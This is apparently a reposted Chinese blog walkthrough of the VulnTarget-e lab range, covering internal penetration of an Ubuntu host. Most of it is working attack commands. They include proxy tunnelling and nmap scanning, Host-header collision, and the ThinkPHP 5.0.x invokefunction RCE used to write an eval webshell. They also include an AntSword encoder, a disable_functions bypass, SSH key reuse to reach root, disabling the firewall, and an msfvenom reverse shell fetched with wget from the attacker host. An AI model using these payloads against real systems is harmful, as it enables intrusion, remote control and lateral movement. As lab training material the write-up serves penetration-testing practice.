红蓝对抗靶场VulnTarget-e之内网渗透【二】
2023-6-7 08:1:33 Author: 李白你好(查看原文) 阅读量:20 收藏

宝子们现在只对常读和星标的公众号才展示大图推送,建议大家把李白你好设为星标”,否则可能就看不到了啦!

0x01 前言

接上文VulnTarget-e边界主机权限获取【一】,这篇文章是该靶场的内网Ubuntu主机的打法。
涉及知识点
内网代理HOST碰撞攻击函数绕过MSF上线

0x02 一级代理

步骤一:使用以下命令上传EW程序并做好Socks5代理并使用proxychains进行测试
程序下载
upload /home/z4pts/桌面/ew.exe C:\\Users\\Administrator\\
开启代理
C:\Users\Administrator\ew.exe -s ssocksd -l 8090
配置代理
vi /etc/proxychains4.confsocks5 192.168.1.5 8090
测试代理
proxychains curl http://myip.ipip.net/   //开玩笑
步骤二:这里将Nmap扫描流量带入到内网并直扫131主机的开放端口...试想在有流量检测拦截设备的内网中该怎样突破?平常扫描攻击肯定是动静大且容易被捕获
执行命令
proxychains nmap -Pn -T4 -sT -p- 192.168.100.131
开放端口
22/80/8888
步骤三:在火狐浏览器上挂上代理访问其内网主机的端口发现80端口回显Nginx的400错误,而8888端口为宝塔面板...尝试使用dirsearch对其80端口进行WEB敏感文件扫描....无果!
访问地址
http://192.168.100.131:80/http://192.168.100.131:8888/
扫描命令
python3 dirsearch.py -u http://192.168.100.131/ --proxy socks5://192.168.1.5:8090
步骤四:扫描目录并未有发现尝试在边界主机上查看浏览器的历史记录执行以下命令获取可发现TP框架...
meterpreter
run post/windows/gather/forensics/browser_history
记录位置
/root/.msf4/local/Administrator_Firefox_mpf91asw.default-release_places.sqlitemv /root/.msf4/....sqlite /home/z4pts/桌面
文件打开
选中文件右键--》用"SQLite database browser"打开 执行以下命令SELECT url FROM moz_places

0x03 Host头碰撞

步骤五:再次在浏览器中访问但都是返回400状态码...这里可以尝试与边界主机上发现的*.txt文件进行HOST碰撞攻击;备注:在渗透测试中搜集了很多IP资产,端口也开放了WEB服务但打开总是403 404 400错误,扫目录也扫不到东西。这时候可以尝试利用HOSTS碰撞技术突破其边界对其内网系统进行攻击 !!!
ThinkPHP地址连接
http://192.168.100.131/vulntarget/thinkphphttp://192.168.100.131/vulntarget/public/index.php

步骤六:下载以下项目并将获取的域名放到host.txt并将IP地址放到ip.txt中执行以下程序进行HOST碰撞

项目地址

https://github.com/fofapro/Hosts_scan

执行命令

proxychains python3 IP_hosts_scan_multithreading.py

执行结果

192.168.100.131 --》 http://www.cJO6w10YLS.com

步骤七:在火狐浏览器上安装 Modheader 插件修改host头信息并再次访问其80端口如下页面

修改字段

Host  --www.cJO6w10YLS.com

步骤八:以上访问记录中存在TP框架再次访问报错页面显示其版本号,尝试POC执行命令均被禁用拦截.....

http://192.168.100.131/vulntarget/public/index.php?s=1  //报错信息:V5.0.15
#POC?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami //system函数被禁用?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=sassert&vars[1][]=phpinfo() //被BTWAF拦截

0x04 Getshell

步骤九:尝试使用file_put_contents函数写文件且成功!直接GetShell...

#file_put_contents写文件?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=1.php&vars[1][1]=<?php $url = "php";$p ="info();";$c=$url.$p;assert($c);?> //无权限
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=../../123.php&vars[1][1]=<?php $url = "php";$p ="info();";$c=$url.$p;assert($c);?>
#GetShell?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=../../url.php&vars[1][1]=<?php%20eval(urldecode(urldecode(urldecode($_REQUEST[cmd]))));?>
#WebShellhttp://192.168.100.131/url.php

步骤十:使用蚁剑连接配置代理并编写编码规则(因为以上POC是经过了3次URL解码,所需对攻击代码进行三次编码)且加入Host信息测试连接...成功!

#编码配置AntSword-->编码设置-->编码管理-->新建编码器-->PHP-->在创建编码器命名为url-->点击编辑-->将以下代码贴入替换并保存!

#编码内容'use strict';
// ########## 请在下方编写你自己的代码 ###################function forceEncode(s) { return Array.from(s).map(i=>'%'+i.charCodeAt(0).toString(16).padStart(2,'0')).join('')}
module.exports = (pwd, data, ext={}) => { const payload = data['_'] data[pwd] = forceEncode(forceEncode(payload)); delete data['_']; console.log(data); return data;}

0x05 绕过disable_function

步骤十一:在命令终端中无法执行命令..这里尝试使用 php7-gc-bypass 绕过执行系统命令...
#项目地址https://github.com/devil8123665/exploits/blob/master/php7-gc-bypass/exploit.php在蚁剑中创建by.php并将以上项目文件的项目代码保存在浏览器访问...
#访问地址http://192.168.100.131/by.php
步骤十二:以上可获取命令执行点..但比较麻烦在翻找/home目录时发现私钥文件..key下载到Kali并尝试连接Ubuntu主机...
#私钥文件/home/vulntarget/key
#连接命令proxychains ssh -i key 192.168.100.131
步骤十三:执行以下命令进行信息收集..发现其内部还存在192.168.88.0/24网段
id  --》 UID:0whoami --》rootping www.baidu.com  --》不出网ifconfig  --》 192.168.100.0/24  192.168.88.100/24 arp -a    --》 192.168.88.102主机信息ufw disable --》关闭防火墙,不然无法与边界主机进行正常通信!!!iptables -L --》查看防火墙规则

0x06 上线MSF

步骤十四:生成MSF反向马并上传至边界主机,使用Ladon开启HTTP服务占用其3333端口并Wget访问下载执行从而上线MSF
#边界主机Import-Module .\Ladon.ps1ladon web 3333 dirC:\Windows\System32\WindowsPowerShell\v1.0\
#生成后门msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.100.155 LPORT=3333 -f elf > shell.elf

#开启监听msfconsoleuse exploit/multi/handlerset payload linux/x64/meterpreter/reverse_tcpset lhost 192.168.100.155set lport 3333run
#下载执行wget http://192.168.100.155:3333/shell.elf -O shell.elf
#scp传递执行proxychains scp -r -i key /home/z4pts/桌面/shell.elf [email protected]:/www/wwwroot/vulntarget-e2/1.elf
#添加路由use post/multi/manage/autorouteset session 2run

步骤十五:以上步骤经过多次尝试失败发现防火墙中存在指定端口访问的策略..即限制;在此修改成功!!!
iptables -A INPUT -j ACCEPTiptables -A OUTPUT -j ACCEPT

0x07 往期精彩

VulnTarget-e边界主机权限获取【一】

记一次针对某高校的渗透测试


文章来源: http://mp.weixin.qq.com/s?__biz=MzkwMzMwODg2Mw==&mid=2247498989&idx=1&sn=4474334e091aa30106365c5627a09a75&chksm=c09a8fbdf7ed06abc549f1085b41e6f247f06848c62b0479012be3e600141ed2364fef6b58f7#rd
如有侵权请联系:admin#unsafe.sh